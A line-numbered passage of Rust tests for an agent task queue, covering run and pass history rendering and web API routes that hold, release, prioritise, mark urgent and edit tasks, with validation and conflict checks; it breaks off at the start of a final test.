15903 f.edges[1].label.contains("resume the same run"),
15904 "{}",
15905 f.edges[1].label
15906 );
15907 assert_eq!(f.nodes[1].note, Some("parked"));
15908 }
15909
15910 #[test]
15911 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15912 let mut a = flow_run(RunStatus::Implementing, |s| {
15913 s.passes = vec![
15914 recorded_pass(0, parked(upgrade_cause())),
15915 recorded_pass(1, None),
15916 ];
15917 });
15918 let mut b = flow_run(RunStatus::Failed, |s| {
15919 s.passes = vec![recorded_pass(0, None)];
15920 });
15921 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15922 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15923 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15924 let mut task = flow_task(&[]);
15925 task.start("a".into());
15926 task.start("b".into());
15927 task.start("a".into());
15928 assert_eq!(task.runs, ["b", "a"]);
15929 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15930 let h = task_history(&task, |id| {
15931 Some(if id == "a" { a.clone() } else { b.clone() })
15932 });
15933 assert_eq!(
15934 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15935 ["a", "b", "a"]
15936 );
15937 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15938 assert!(h[0].outcome.contains("upgrade"));
15939 assert_eq!(h[2].kind, "resume");
15940 assert!(h[2].pass.is_some());
15941 task.runs = vec!["a".into(), "b".into(), "a".into()];
15943 let old = task_history(&task, |id| {
15944 Some(if id == "a" { a.clone() } else { b.clone() })
15945 });
15946 assert_eq!(
15947 old.iter()
15948 .map(|v| (&v.id, &v.kind, v.attempt))
15949 .collect::<Vec<_>>(),
15950 h.iter()
15951 .map(|v| (&v.id, &v.kind, v.attempt))
15952 .collect::<Vec<_>>()
15953 );
15954 }
15955
15956 #[test]
15957 fn an_upgrade_whose_target_was_not_known_says_so() {
15958 let run = flow_run(RunStatus::Implementing, |s| {
15959 s.passes = vec![
15960 recorded_pass(
15961 0,
15962 parked(crate::run::ParkCause::Upgrade {
15963 from: "0.121.0".to_owned(),
15964 to: None,
15965 }),
15966 ),
15967 recorded_pass(1, None),
15968 ];
15969 });
15970 let task = flow_task(&[RUN_X, RUN_X]);
15971 let h = task_history(&task, |_| Some(run.clone()));
15972 assert!(
15973 h[0].outcome.contains("upgrade from 0.121.0"),
15974 "{}",
15975 h[0].outcome
15976 );
15977 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15979 }
15980
15981 #[test]
15982 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15983 use crate::queue::PassCost;
15984 use crate::run::ParkCause;
15985 let run = flow_run(RunStatus::Implementing, |s| {
15986 s.passes = vec![
15987 recorded_pass(0, parked(upgrade_cause())),
15988 recorded_pass(
15989 1,
15990 parked(ParkCause::Interrupt {
15991 reason: "task a1b2 asked to run first".to_owned(),
15992 }),
15993 ),
15994 recorded_pass(2, parked(ParkCause::Operator)),
15995 recorded_pass(3, None),
15996 ];
15997 });
15998 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15999 task.attempts = 1;
16000 task.passes = (0..3)
16001 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16002 .collect();
16003 let h = task_history(&task, |_| Some(run.clone()));
16004 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16005 assert!(
16006 h[1].outcome.contains("task a1b2 asked to run first"),
16007 "{}",
16008 h[1].outcome
16009 );
16010 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16011 assert!(
16012 h[2].outcome.contains("operator asked the loop to park"),
16013 "{}",
16014 h[2].outcome
16015 );
16016 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16017 let f = task_flow(&task, &h, 2, None);
16018 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16019 }
16020
16021 #[test]
16022 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16023 let run = flow_run(RunStatus::Implementing, |s| {
16024 s.passes = vec![
16025 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16026 recorded_pass(1, None),
16027 ];
16028 });
16029 let task = flow_task(&[RUN_X, RUN_X]);
16030 let h = task_history(&task, |_| Some(run.clone()));
16031 assert_eq!(h[0].exit, RunExit::Interrupted);
16032 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16033 assert!(
16034 h[0].outcome.contains("without recording why"),
16035 "{}",
16036 h[0].outcome
16037 );
16038 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16039 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16040 }
16041
16042 #[test]
16043 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16044 use crate::queue::PassCost;
16045 let run = flow_run(RunStatus::Implementing, |s| {
16048 s.passes = vec![
16049 recorded_pass(0, parked(upgrade_cause())),
16050 recorded_pass(1, None),
16051 ];
16052 });
16053 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16054 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16055 let h = task_history(&task, |_| Some(run.clone()));
16056 assert!(h[0].pass.is_none());
16057 assert_eq!(h[0].exit, RunExit::Interrupted);
16058 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16059 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16060 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16061 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16062 let legacy = flow_run(RunStatus::Implementing, |_| {});
16064 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16065 assert!(h.iter().all(|v| v.pass.is_none()));
16066 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16067 }
16068
16069 #[test]
16070 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16071 use crate::queue::PassCost;
16072 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16075 web.task_entry = false;
16076 let run = flow_run(RunStatus::Implementing, |s| {
16077 s.passes = vec![
16078 recorded_pass(0, parked(upgrade_cause())),
16079 web.clone(),
16080 recorded_pass(2, None),
16081 ];
16082 });
16083 let mut task = flow_task(&[RUN_X, RUN_X]);
16084 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16085 let h = task_history(&task, |_| Some(run.clone()));
16086 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16087 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16088
16089 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16092 web0.task_entry = false;
16093 let run = flow_run(RunStatus::Implementing, |s| {
16094 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16095 });
16096 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16097 assert!(h[0].pass.is_none());
16098 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16099 assert!(h[1].pass.is_some());
16100 }
16101
16102 #[tokio::test]
16103 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16104 let dir = tempfile::tempdir().unwrap();
16105 let queue = Queue::at(dir.path().join("queue"));
16106 let ui = Arc::new(Ui::new(
16107 queue.clone(),
16108 Questions::at(dir.path().join("questions")),
16109 Talks::at(dir.path().join("talks")),
16110 dir.path().join("runs"),
16111 dir.path().to_path_buf(),
16112 dir.path().to_path_buf(),
16113 ));
16114 let mut t = Task::new(
16115 "recover".into(),
16116 "Inspect".into(),
16117 PathBuf::from("."),
16118 Source::Human,
16119 );
16120 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16121 t.start("run-A".into());
16122 t.release_operator("choice", Some("resume-question"));
16123 t.resume_override = Some(crate::queue::OperatorResume {
16124 question_id: "resume-question".into(),
16125 at: jiff::Timestamp::now(),
16126 conductor_rehold: None,
16127 forced: true,
16128 pinned_run: Some("run-A".into()),
16129 });
16130 t.hold_machine(Some("inspection pending".into()));
16131 t.edit("recover".into(), "Reuse approved PR head".into())
16132 .unwrap();
16133 queue.put(&mut t).unwrap();
16134 let mut cli = t.clone();
16135 cli.release_operator("cli", None);
16136 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16137 let reloaded = queue.get(&t.id).unwrap();
16138 assert_eq!(reply.task.status, TaskStatus::Queued);
16139 assert!(reloaded.resume_override.is_none());
16140 assert_eq!(reloaded.answers, t.answers);
16141 let mut web = reloaded.resumption.unwrap();
16142 let cli = cli.resumption.unwrap();
16143 assert_eq!(web.source, "web");
16144 web.source = cli.source.clone();
16145 web.at = cli.at;
16146 assert_eq!(web, cli);
16147 }
16148
16149 #[tokio::test]
16150 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16151 let f = Fixture::start().await;
16152 let queue = f.queue();
16153 let mut task = Task::new(
16154 "spent".to_owned(),
16155 "Try again".to_owned(),
16156 PathBuf::from("/repo/magi"),
16157 Source::Human,
16158 );
16159 task.start("20260902-140502-bbbb".to_owned());
16160 task.fail("agent gave up", 9);
16161 queue.put(&mut task).expect("file the task");
16162
16163 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16164 assert_eq!(held.status, 200);
16165 assert_eq!(held.json()["status_str"], "held");
16166
16167 let released = f
16168 .post(&format!("/api/queue/{}/release", task.id), None)
16169 .await;
16170 assert_eq!(released.status, 200);
16171 assert_eq!(released.json()["status_str"], "queued");
16172 assert_eq!(released.json()["resumption"]["source"], "web");
16173 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16174 let mut cli = task.clone();
16175 cli.release_operator("cli", None);
16176 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16177 let cli = cli.resumption.unwrap();
16178 assert_eq!(web.instruction, cli.instruction);
16179 assert_eq!(web.answers_through, cli.answers_through);
16180 assert_eq!(web.runs_through, cli.runs_through);
16181 assert_eq!(web.cleared_reason, cli.cleared_reason);
16182 assert_eq!(
16183 released.json()["attempts"],
16184 0,
16185 "release is a real second chance, not an instant re-hold"
16186 );
16187 assert_eq!(
16188 queue.get(&task.id).expect("reload").status,
16189 TaskStatus::Queued,
16190 "the change is on disk, not only in the reply"
16191 );
16192 assert!(
16193 !f.home
16194 .path()
16195 .join("queue")
16196 .join(format!("{}.lock", task.id))
16197 .exists(),
16198 "the claim the mutation took is released again"
16199 );
16200 }
16201
16202 #[tokio::test]
16203 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16204 let f = Fixture::start().await;
16205 let queue = f.queue();
16206 let mut task = Task::new(
16207 "busy".to_owned(),
16208 "Running right now".to_owned(),
16209 PathBuf::from("/repo/magi"),
16210 Source::Human,
16211 );
16212 queue.put(&mut task).expect("file the task");
16213 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16214
16215 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16216
16217 assert_eq!(res.status, 409);
16218 assert_eq!(
16219 queue.get(&task.id).expect("reload").status,
16220 TaskStatus::Queued,
16221 "the refused hold changed nothing"
16222 );
16223 }
16224
16225 #[tokio::test]
16226 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16227 let f = Fixture::start().await;
16228 let queue = f.queue();
16229 let mut task = Task::new(
16230 "waiting on the migration".to_owned(),
16231 "Do the thing".to_owned(),
16232 PathBuf::from("/repo/magi"),
16233 Source::Human,
16234 );
16235 queue.put(&mut task).expect("file the task");
16236
16237 let held = f
16238 .post(
16239 &format!("/api/queue/{}/hold", task.id),
16240 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16241 )
16242 .await;
16243 assert_eq!(held.status, 200, "{}", held.body);
16244 assert_eq!(held.json()["status_str"], "held");
16245 assert_eq!(
16246 held.json()["hold_reason"],
16247 "waiting for 20260101-000000-aaaa to land"
16248 );
16249
16250 let listed = f.get("/api/queue").await.json();
16251 assert_eq!(
16252 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16253 "the card reads the reason off the same list route"
16254 );
16255
16256 let mut plain = Task::new(
16259 "no reason given".to_owned(),
16260 "Do another thing".to_owned(),
16261 PathBuf::from("/repo/magi"),
16262 Source::Human,
16263 );
16264 queue.put(&mut plain).expect("file the task");
16265 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16266 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16267 assert!(held_plain.json()["hold_reason"].is_null());
16268
16269 let released = f
16270 .post(&format!("/api/queue/{}/release", task.id), None)
16271 .await;
16272 assert_eq!(released.status, 200);
16273 assert!(
16274 released.json()["hold_reason"].is_null(),
16275 "a release must clear the reason so the next hold does not inherit it"
16276 );
16277 }
16278
16279 #[test]
16280 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16281 for urgent in [true, false] {
16282 let body: UrgentBody =
16283 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16284 assert_eq!(body.urgent, urgent);
16285 }
16286 for input in [
16287 r#"{}"#,
16288 r#"{"urgent":null}"#,
16289 r#"{"urgent":"true"}"#,
16290 r#"{"urgent":1}"#,
16291 r#"{"urgent":true,"extra":false}"#,
16292 ] {
16293 assert!(
16294 serde_json::from_str::<UrgentBody>(input).is_err(),
16295 "{input}"
16296 );
16297 }
16298 }
16299
16300 #[tokio::test]
16301 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16302 let home = TempDir::new().unwrap();
16303 let q = Queue::at(home.path().join("queue"));
16304 let ui = Arc::new(Ui::new(
16305 q.clone(),
16306 Questions::at(home.path().join("questions")),
16307 Talks::at(home.path().join("talks")),
16308 home.path().join("runs"),
16309 home.path().into(),
16310 home.path().into(),
16311 ));
16312 let mut task = Task::new(
16313 "urgent handler".into(),
16314 "keep".into(),
16315 home.path().into(),
16316 Source::Human,
16317 );
16318 for status in [TaskStatus::Queued, TaskStatus::Held] {
16319 task.status = status;
16320 q.put(&mut task).unwrap();
16321 for urgent in [true, true, false, false] {
16322 let saved = queue_urgent(
16323 State(Arc::clone(&ui)),
16324 Path(task.short().into()),
16325 Ok(Json(UrgentBody { urgent })),
16326 )
16327 .await
16328 .unwrap();
16329 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16330 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16331 }
16332 }
16333 task.status = TaskStatus::Queued;
16334 q.put(&mut task).unwrap();
16335 let claim = q.claim(&task.id).unwrap();
16336 let error = queue_urgent(
16337 State(Arc::clone(&ui)),
16338 Path(task.id.clone()),
16339 Ok(Json(UrgentBody { urgent: true })),
16340 )
16341 .await
16342 .unwrap_err();
16343 assert_eq!(error.status, StatusCode::CONFLICT);
16344 assert!(error.message.contains("released"));
16345 drop(claim);
16346 for status in [
16347 TaskStatus::Running,
16348 TaskStatus::Done,
16349 TaskStatus::Failed,
16350 TaskStatus::Blocked,
16351 TaskStatus::Parked,
16352 ] {
16353 task.status = status;
16354 q.put(&mut task).unwrap();
16355 let error = queue_urgent(
16356 State(Arc::clone(&ui)),
16357 Path(task.id.clone()),
16358 Ok(Json(UrgentBody { urgent: false })),
16359 )
16360 .await
16361 .unwrap_err();
16362 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16363 assert!(error.message.contains(status.as_str()));
16364 }
16365 }
16366
16367 #[tokio::test]
16368 async fn urgent_api_updates_preserves_and_validates_tasks() {
16369 let f = Fixture::start().await;
16370 let q = f.queue();
16371 let mut t = Task::new(
16372 "urgent API".into(),
16373 "unchanged".into(),
16374 PathBuf::from("/repo/magi"),
16375 Source::Human,
16376 );
16377 t.attempts = 2;
16378 t.priority = 9;
16379 t.interrupt = true;
16380 t.hold_reason = Some("waiting for approval".into());
16381 for status in [TaskStatus::Queued, TaskStatus::Held] {
16382 t.status = status;
16383 q.put(&mut t).unwrap();
16384 for urgent in [true, true, false, false] {
16385 let response = f
16386 .post(
16387 &format!("/api/queue/{}/urgent", t.short()),
16388 Some(&format!("{{\"urgent\":{urgent}}}")),
16389 )
16390 .await;
16391 assert_eq!(response.status, 200, "{}", response.body);
16392 assert_eq!(response.json()["urgent"], urgent);
16393 let saved = q.get(&t.id).unwrap();
16394 let mut before = serde_json::to_value(&t).unwrap();
16395 let mut after = serde_json::to_value(saved).unwrap();
16396 before["urgent"] = urgent.into();
16397 before.as_object_mut().unwrap().remove("updated_at");
16398 after.as_object_mut().unwrap().remove("updated_at");
16399 assert_eq!(after, before);
16400 }
16401 }
16402 let route = format!("/api/queue/{}/urgent", t.id);
16403 for body in [
16404 r#"{}"#,
16405 r#"{"urgent":null}"#,
16406 r#"{"urgent":"true"}"#,
16407 r#"{"urgent":1}"#,
16408 r#"{"urgent":true,"extra":false}"#,
16409 "{",
16410 ] {
16411 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16412 }
16413 t.status = TaskStatus::Queued;
16414 q.put(&mut t).unwrap();
16415 let claim = q.claim(&t.id).unwrap();
16416 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16417 assert_eq!(response.status, 409, "{}", response.body);
16418 assert!(!q.get(&t.id).unwrap().urgent);
16419 drop(claim);
16420 for status in [
16421 TaskStatus::Running,
16422 TaskStatus::Done,
16423 TaskStatus::Failed,
16424 TaskStatus::Blocked,
16425 TaskStatus::Parked,
16426 ] {
16427 t.status = status;
16428 q.put(&mut t).unwrap();
16429 for urgent in [true, false] {
16430 let response = f
16431 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16432 .await;
16433 assert_eq!(response.status, 400, "{}", response.body);
16434 assert!(response.body.contains(status.as_str()));
16435 assert!(response.body.contains("queued or held"));
16436 assert!(!q.get(&t.id).unwrap().urgent);
16437 }
16438 }
16439 assert_eq!(
16440 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16441 .await
16442 .status,
16443 404
16444 );
16445 }
16446
16447 #[tokio::test]
16448 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16449 let f = Fixture::start().await;
16450 let queue = f.queue();
16451 let mut older = Task::new(
16452 "filed first".to_owned(),
16453 "x".to_owned(),
16454 PathBuf::from("/repo/magi"),
16455 Source::Human,
16456 );
16457 older.id = "20260101-000001-aaaa".to_owned();
16458 let mut newer = Task::new(
16459 "filed second".to_owned(),
16460 "x".to_owned(),
16461 PathBuf::from("/repo/magi"),
16462 Source::Human,
16463 );
16464 newer.id = "20260101-000002-bbbb".to_owned();
16465 queue.put(&mut older).expect("file older");
16466 queue.put(&mut newer).expect("file newer");
16467
16468 let before = f.get("/api/queue").await.json();
16471 assert_eq!(before[0]["id"], newer.id);
16472 assert_eq!(before[1]["id"], older.id);
16473
16474 let raised = f
16478 .post(
16479 &format!("/api/queue/{}/priority", older.id),
16480 Some(r#"{"priority":10}"#),
16481 )
16482 .await;
16483 assert_eq!(raised.status, 200, "{}", raised.body);
16484 assert_eq!(raised.json()["priority"], 10);
16485
16486 let after = f.get("/api/queue").await.json();
16487 let names: Vec<&str> = after
16488 .as_array()
16489 .unwrap()
16490 .iter()
16491 .map(|t| t["id"].as_str().unwrap())
16492 .collect();
16493 assert_eq!(names[0], older.id, "the raised task now sorts first");
16497 }
16498
16499 #[tokio::test]
16500 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16501 let dir = TempDir::new().unwrap();
16502 let q = Queue::at(dir.path().join("queue"));
16503 let ui = Arc::new(Ui::new(
16504 q.clone(),
16505 Questions::at(dir.path().join("questions")),
16506 Talks::at(dir.path().join("talks")),
16507 dir.path().join("runs"),
16508 dir.path().to_path_buf(),
16509 dir.path().to_path_buf(),
16510 ));
16511 let mut t = Task::new(
16512 "budget".into(),
16513 "keep".into(),
16514 dir.path().into(),
16515 Source::Human,
16516 );
16517 t.attempts = 2;
16518 t.runs.push("prior-run".into());
16519 t.hold_manual(Some("waiting".into()));
16520 q.put(&mut t).unwrap();
16521 let change = |value| {
16522 queue_attempt_limit(
16523 State(ui.clone()),
16524 Path(t.id.clone()),
16525 Ok(Json(AttemptLimitBody {
16526 attempt_limit: value,
16527 })),
16528 )
16529 };
16530 for value in [
16531 serde_json::json!(3),
16532 serde_json::Value::Null,
16533 serde_json::json!(1),
16534 ] {
16535 let response = change(value.clone()).await.unwrap();
16536 assert_eq!(
16537 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16538 value
16539 );
16540 let saved = q.get(&t.id).unwrap();
16541 assert_eq!(
16542 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16543 value
16544 );
16545 assert_eq!(saved.status, TaskStatus::Held);
16546 assert_eq!(saved.attempts, t.attempts);
16547 assert_eq!(saved.runs, t.runs);
16548 assert_eq!(saved.hold_reason, t.hold_reason);
16549 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16550 .await
16551 .unwrap()
16552 .0;
16553 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16554 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16555 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16556 assert_eq!(outcome.max_attempts, detail.max_attempts);
16557 }
16558 for value in [
16559 serde_json::json!(0),
16560 serde_json::json!(-1),
16561 serde_json::json!(1.5),
16562 serde_json::json!("3"),
16563 serde_json::json!(true),
16564 ] {
16565 assert_eq!(
16566 change(value).await.err().unwrap().status,
16567 StatusCode::BAD_REQUEST
16568 );
16569 }
16570 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16571 let claim = q.claim(&t.id).unwrap();
16572 assert_eq!(
16573 change(serde_json::json!(4)).await.err().unwrap().status,
16574 StatusCode::CONFLICT
16575 );
16576 drop(claim);
16577 for status in [
16578 TaskStatus::Running,
16579 TaskStatus::Done,
16580 TaskStatus::Failed,
16581 TaskStatus::Blocked,
16582 TaskStatus::Parked,
16583 ] {
16584 let mut stored = q.get(&t.id).unwrap();
16585 stored.status = status;
16586 q.put(&mut stored).unwrap();
16587 assert_eq!(
16588 change(serde_json::json!(4)).await.err().unwrap().status,
16589 StatusCode::BAD_REQUEST
16590 );
16591 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16592 }
16593 let mut stored = q.get(&t.id).unwrap();
16594 stored.status = TaskStatus::Queued;
16595 q.put(&mut stored).unwrap();
16596 let _ = change(serde_json::Value::Null).await.unwrap();
16597 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16598 }
16599
16600 #[tokio::test]
16601 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16602 let dir = TempDir::new().unwrap();
16603 let repo = dir.path().join("repo");
16604 std::fs::create_dir(&repo).unwrap();
16605 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16606 let q = Queue::at(dir.path().join("queue"));
16607 let ui = Arc::new(Ui::new(
16608 q.clone(),
16609 Questions::at(dir.path().join("questions")),
16610 Talks::at(dir.path().join("talks")),
16611 dir.path().join("runs"),
16612 dir.path().to_path_buf(),
16613 repo.clone(),
16614 ));
16615 let mut t = Task::new(
16616 "seats".into(),
16617 "keep instruction".into(),
16618 repo,
16619 Source::Human,
16620 );
16621 t.runs.push("prior-run".into());
16622 t.hold_manual(Some("waiting".into()));
16623 q.put(&mut t).unwrap();
16624 let change = |count| {
16625 queue_implementers(
16626 State(ui.clone()),
16627 Path(t.id.clone()),
16628 Ok(Json(ImplementersBody {
16629 implementers: count,
16630 })),
16631 )
16632 };
16633 for count in [2, 1, 2] {
16634 let response = change(count).await.unwrap();
16635 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16636 let saved = q.get(&t.id).unwrap();
16637 assert_eq!(saved.implementers(), Some(usize::from(count)));
16638 assert_eq!(saved.runs, t.runs);
16639 assert_eq!(saved.instruction, t.instruction);
16640 }
16641 for count in [0, 4] {
16642 assert_eq!(
16643 change(count).await.err().unwrap().status,
16644 StatusCode::BAD_REQUEST
16645 );
16646 }
16647 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16648 let claim = q.claim(&t.id).unwrap();
16649 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16650 drop(claim);
16651 for status in [
16652 TaskStatus::Running,
16653 TaskStatus::Done,
16654 TaskStatus::Failed,
16655 TaskStatus::Blocked,
16656 TaskStatus::Parked,
16657 ] {
16658 let mut stored = q.get(&t.id).unwrap();
16659 stored.status = status;
16660 q.put(&mut stored).unwrap();
16661 assert_eq!(
16662 change(1).await.err().unwrap().status,
16663 StatusCode::BAD_REQUEST
16664 );
16665 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16666 }
16667 }
16668
16669 #[tokio::test]
16670 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16671 let f = Fixture::start().await;
16672 let queue = f.queue();
16673 let mut task = Task::new(
16674 "in flight".to_owned(),
16675 "x".to_owned(),
16676 PathBuf::from("/repo/magi"),
16677 Source::Human,
16678 );
16679 task.start("20260902-140502-bbbb".to_owned());
16680 queue.put(&mut task).expect("file the task");
16681
16682 let res = f
16683 .post(
16684 &format!("/api/queue/{}/priority", task.id),
16685 Some(r#"{"priority":9}"#),
16686 )
16687 .await;
16688 assert_eq!(res.status, 400, "{}", res.body);
16689 assert!(
16690 res.json()["error"]
16691 .as_str()
16692 .is_some_and(|e| e.contains("running")),
16693 "{}",
16694 res.body
16695 );
16696 assert_eq!(
16697 queue.get(&task.id).expect("reload").priority,
16698 0,
16699 "the refused write must not partially apply"
16700 );
16701 }
16702
16703 #[tokio::test]
16704 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16705 let f = Fixture::start().await;
16706 let queue = f.queue();
16707 let mut task = Task::new(
16708 "old title".to_owned(),
16709 "old instruction".to_owned(),
16710 PathBuf::from("/repo/magi"),
16711 Source::Agent {
16712 run: "20260101-000000-beef".to_owned(),
16713 node: "implement".to_owned(),
16714 },
16715 );
16716 task.runs.push("20260101-000000-beef".to_owned());
16717 queue.put(&mut task).expect("file the task");
16718 let created_at = task.created_at;
16719
16720 let edited = f
16721 .post(
16722 &format!("/api/queue/{}/edit", task.id),
16723 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16724 )
16725 .await;
16726 assert_eq!(edited.status, 200, "{}", edited.body);
16727 let body = edited.json();
16728 assert_eq!(body["title"], "new title");
16729 assert_eq!(body["instruction"], "new instruction");
16730 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16731 assert_eq!(body["created_at"], created_at.to_string());
16732 assert_eq!(
16733 body["source"]["kind"], "agent",
16734 "editing a task an agent filed must not turn it human: {body}"
16735 );
16736 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16737
16738 let reloaded = queue.get(&task.id).expect("reload");
16739 assert_eq!(reloaded.title, "new title");
16740 assert_eq!(reloaded.instruction, "new instruction");
16741 }
16742
16743 #[tokio::test]
16744 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16745 let tmp = TempDir::new().expect("tempdir");
16748 let repo = tmp.path().join("repo");
16749 std::fs::create_dir_all(&repo).expect("repo dir");
16750 let judge = MOCK_AGENT_TOML.replace(
16751 "printf ok",
16752 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16753 );
16754 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16755 let f = Fixture::with_repo(repo.clone()).await;
16756 let queue = f.queue();
16757 let mut owner = Task::new(
16758 "owner".to_owned(),
16759 "review it".to_owned(),
16760 repo.clone(),
16761 Source::Human,
16762 );
16763 owner.review_branch = Some("magi/ab12/A".to_owned());
16764 queue.put(&mut owner).expect("file the owner");
16765 let mut task = Task::new(
16766 "draft".to_owned(),
16767 "old".to_owned(),
16768 repo.clone(),
16769 Source::Human,
16770 );
16771 queue.put(&mut task).expect("file the draft");
16772 let url = format!("/api/queue/{}/edit", task.id);
16773
16774 let refused = f
16775 .post(
16776 &url,
16777 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16778 )
16779 .await;
16780 assert_eq!(refused.status, 409, "{}", refused.body);
16781 let msg = refused.json()["error"]
16782 .as_str()
16783 .unwrap_or_default()
16784 .to_owned();
16785 assert!(
16786 msg.contains("magi/ab12/A") && msg.contains("force"),
16787 "{msg}"
16788 );
16789 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16790
16791 let forced = f
16792 .post(
16793 &url,
16794 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16795 )
16796 .await;
16797 assert_eq!(forced.status, 200, "{}", forced.body);
16798 }
16799
16800 #[tokio::test]
16801 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16802 let f = Fixture::start().await;
16803 let queue = f.queue();
16804 let mut task = Task::new(
16805 "in flight".to_owned(),
16806 "do not touch".to_owned(),
16807 PathBuf::from("/repo/magi"),
16808 Source::Human,
16809 );
16810 task.start("20260902-140502-bbbb".to_owned());
16811 queue.put(&mut task).expect("file the task");
16812
16813 let res = f
16814 .post(
16815 &format!("/api/queue/{}/edit", task.id),
16816 Some(r#"{"title":"x","instruction":"y"}"#),
16817 )
16818 .await;
16819 assert_eq!(res.status, 400, "{}", res.body);
16820 assert!(
16821 res.json()["error"]
16822 .as_str()
16823 .is_some_and(|e| e.contains("running")),
16824 "{}",
16825 res.body
16826 );
16827 assert_eq!(
16828 queue.get(&task.id).expect("reload").instruction,
16829 "do not touch",
16830 "the refused edit must not change the file"
16831 );
16832 }
16833
16834 #[tokio::test]
16835 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16836 let f = Fixture::start().await;
16837 let queue = f.queue();
